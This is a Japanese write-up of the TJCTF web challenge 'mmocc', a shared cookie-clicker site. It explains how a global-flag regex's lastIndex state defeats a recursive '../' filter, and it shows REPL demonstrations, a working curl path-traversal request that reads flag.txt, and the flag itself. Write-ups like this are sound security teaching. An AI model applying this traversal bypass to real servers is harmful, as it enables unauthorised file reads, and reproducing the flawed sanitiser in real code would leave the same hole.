Skip to content

Latest commit

 

History

History

mmocc

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

mmocc:web:333pts

Massively multiplayer online cookie clicker!!
mmocc.tjc.tf

Downloads
index.js

Solution

サイトにアクセスすると他ユーザと共用のcookieクリッカーがある。
site.png
不審な点はないため、ソースを見ると以下のようであった。

~~~
const flag = fs.readFileSync(path.join(__dirname, 'flag.txt')).toString().trim();
~~~
const state = { clicks: 0 };
const routes = {
  clicks: async (_req, res) => {
    if (state.clicks === Infinity) res.json({ flag, ...state });
    else res.json(state);
  },
  click: async (_req, res) => {
    state.clicks++;
    res.end();
  },
  static: async (req, res) => {
    const regex = /\.\.\//g;
    const clean = (path) => {
      const replaced = path.replace('../', '');
      if (regex.test(path)) {
        return clean(replaced);
      }
      return replaced;
    };

    const location = [__dirname, 'static', clean(req.url)];
    if (location[2].endsWith('/')) location.push('index.html');
    const file = path.join(...location);

    let data;
    try {
      data = await fs.promises.readFile(file);
    } catch (e) {
      if (e.code === 'ENOENT') {
        res.statusCode = 404;
        res.end('not found');
        return;
      }
      throw e;
    }

    const type = types.get(path.extname(file)) ?? 'text/plain';
    res.setHeader('content-type', type);
    res.end(data);
  },
};
~~~

/staticにてcleanといったパストラバーサル対策を行っている。
実はグローバルフラグを持った正規表現を用いてtestを呼び出すとlastIndexが加算される。
そして次回のtestはそのlastIndexからのチェックが始まるため、以下のような挙動を引き起こす。

$ node
~~~
> const regex = /\.\.\//g;
undefined
> regex.test("../../../../../satoki")
true
> regex.lastIndex
3
> regex.test("../../../../satoki")
true
> regex.lastIndex
6
> regex.test("../../../satoki")
true
> regex.lastIndex
9
> regex.test("../../satoki")
false
> regex.lastIndex
0

つまり文字列が変動する場合、正常に検査されない部分が存在することとなる。
よって以下のようにcleanがバイパスできる。

$ node
~~~
> const regex = /\.\.\//g;
undefined
> const clean = (path) => {
...     const replaced = path.replace('../', '');
...     if (regex.test(path)) {
.....         return clean(replaced);
.....     }
...     return replaced;
... };
undefined
> clean("../../../../../satoki")
'../satoki'

あとはflag.txtを読み取ればよい。
以下のように行う。

$ curl --path-as-is https://mmocc.tjc.tf/static/../../../../../../flag.txt
tjctf{h0w_h1gh_c4n_w3_g3t}

flagが得られた。

tjctf{h0w_h1gh_c4n_w3_g3t}